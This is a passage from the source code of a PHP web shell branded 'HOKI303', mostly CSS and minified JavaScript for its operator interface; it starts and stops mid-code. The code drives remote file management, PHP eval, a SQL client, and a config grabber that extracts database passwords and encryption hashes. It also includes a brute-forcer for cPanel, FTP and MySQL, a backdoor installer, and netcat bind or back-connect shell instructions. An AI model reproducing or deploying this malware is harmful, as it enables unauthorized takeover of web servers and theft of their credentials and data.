#666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#hoki-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php echo '
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#hokiloader{'.$csscode.'width:100px;height:100px;}
#a_loader img{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(https://i.gifer.com/1v6f.gif);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.hoki_getColor("header_values").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('hokimini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url('.__showicon('hokimini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn').');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.hoki_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.hoki_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}'.hokiCssLoadColors().'
</style>';
echo "<script type='text/javascript'>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."';
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var islinux = ".($GLOBALS['sys']!="win"?'true':'false').";
var post_encryption_mode = ".(__HOKI_POST_ENCRYPTION__?'true':'false').";";?>
var hoki1_="",hoki2_="",hoki3_="",hoki4_="",hoki5_="",hoki6_="",hoki7_="",hoki8_="",hoki9_="",hoki10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,hoki_can_add_opt=!1,hoki_before_do_action_id="",hoki_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_HOKI_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],hoki_current_fm_id=1,hoki_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.hoki1.value=null!=t?t:"",d.mf.hoki2.value=null!=i?i:"",d.mf.hoki3.value=null!=l?l:"",d.mf.hoki4.value=null!=o?o:"",d.mf.hoki5.value=null!=r?r:"",d.mf.hoki6.value=null!=n?n:"",d.mf.hoki7.value=null!=s?s:"",d.mf.hoki8.value=null!=c?c:"",d.mf.hoki9.value=null!=f?f:"",d.mf.hoki10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=hoki_current_fm_id,t="a="+hokib64("FilesMan")+"&c="+hokib64(e.c.value)+"&hoki1="+hokib64(e.hoki1.value)+"&ajax="+hokib64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+hokib64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.hoki1.value)return!1;switch(hokiloader("filesman_holder_"+a,"block"),e.hoki1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){hokiloader("filesman_holder_"+a,"none"),hokiFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",hokiInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_HOKI_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),hokiClearAjax(l)):4==o.readyState&&200!=o.status&&(hokiAjaxError(o.status,l,o.statusText,o.responseText),hokiClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function hokiClearAjax(e){_HOKI_AJAX_.hasOwnProperty(e)&&delete _HOKI_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=hoki_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",hokib64(e.a.value)),l.append("c",hokib64(e.c.value)),l.append("hoki1",hokib64(e.hoki1.value)),l.append("charset",hokib64(e.charset.value)),l.append("ajax",hokib64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_HOKI_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":hokiAjaxError(a.status,"upload_area",a.statusText,a.responseText),hokiClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&path="+c_+"&file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),hokiShowNotification("File(s) uploaded successfully","Uploader"),hokiFmngrContextRow()}else hokiShowNotification("Folder has no permission...","Uploader","error");hokiCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function hokiCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,hoki1,hoki2,hoki3,hoki4,hoki5,hoki6,hoki7,hoki8,hoki9,hoki10,charset){var fm_id=0==hoki_fm_id?hoki_current_fm_id:hoki_fm_id,fm_id2=hoki_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=hoki_before_do_action_id;0==hoki_fm_id&&(set(a,c,hoki1,hoki2,hoki3,hoki4,hoki5,hoki6,hoki7,hoki8,hoki9,hoki10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=hoki2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(hokiloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?hokiloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=hoki2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),hokiloader(g_action_id,"block"));for(var data="a="+hokib64(a)+"&c="+hokib64(d_mf_c)+"&",i=1;i<=10;i++)data+="hoki"+i+"="+hokib64(eval("d.mf.hoki"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+hokib64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+hokib64("true"),"FilesTools"==a&&"download"==hoki2){hokiLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=hokib64("dlfile"),dl.c.value=hokib64(d_mf_c),dl.file.value=hokib64(hoki1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(hokiLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){hokiloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=hokiGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,hokiFmngrContextRow(),"function"==typeof hoki1&&hoki1(e),hokiCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||hokiloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&hokiLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&hokiColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(hokiloader(hoki3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}hokiloader(t,"none")},!1,hoki3))}function hokiGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function hokiloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="hokiAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="hokiteam-loader-text">HOKI303</div><div class="hoki-ajax-error"></div><img src=\'https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),hokiloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+hokib64("Sql")+"&hoki1="+hokib64("query")+"&hoki2=&c="+hokib64(c_)+"&charset="+hokib64("UTF-8")+"&type="+hokib64(n)+"&sql_host="+hokib64(i)+"&sql_login="+hokib64(l)+"&sql_pass="+hokib64(o)+"&sql_base="+hokib64(r)+"&sql_count="+hokib64(s)+"¤t_mysql_id="+hokib64(a)+"&ajax="+hokib64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),hokiloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong> Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function hoki_searcher_tool(e){switch(e){case"all":case"dirs":_hokiSet(!0,"Disabled");break;case"files":_hokiSet(!1,"php")}}function _hokiSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function hokiAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".hoki-ajax-error").innerHTML=e+" ( "+t+firewall+" )",hokiShowNotification(t,"Ajax","error"))}}function hokiInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){hokiFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;hokiSortMenuItems(["newtab"]),hokiRightClickMenu(i,l),e.preventDefault()})})}function hokiRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function hokiSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function hokiAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=hoki_ace_editors.editor;"eval"==i&&(l=hoki_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("hoki_ace_"+a+"_"+i,t,2012)}function hokiAceChangeWrapMode(e,a){var t=hoki_ace_editors.editor;"eval"==a&&(t=hoki_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function hokiAceChangeFontSize(e,a,t){var i=hoki_ace_editors.editor;"eval"==e&&(i=hoki_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("hoki_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=hoki_ace_editors.editor&&null!=hoki_ace_editors.editor){for(var a in hoki_ace_editors.editor)hoki_ace_editors.editor[a].destroy();hoki_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=hoki_ace_editors.eval){for(var a in hoki_ace_editors.eval)hoki_ace_editors.eval[a].destroy();hoki_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var 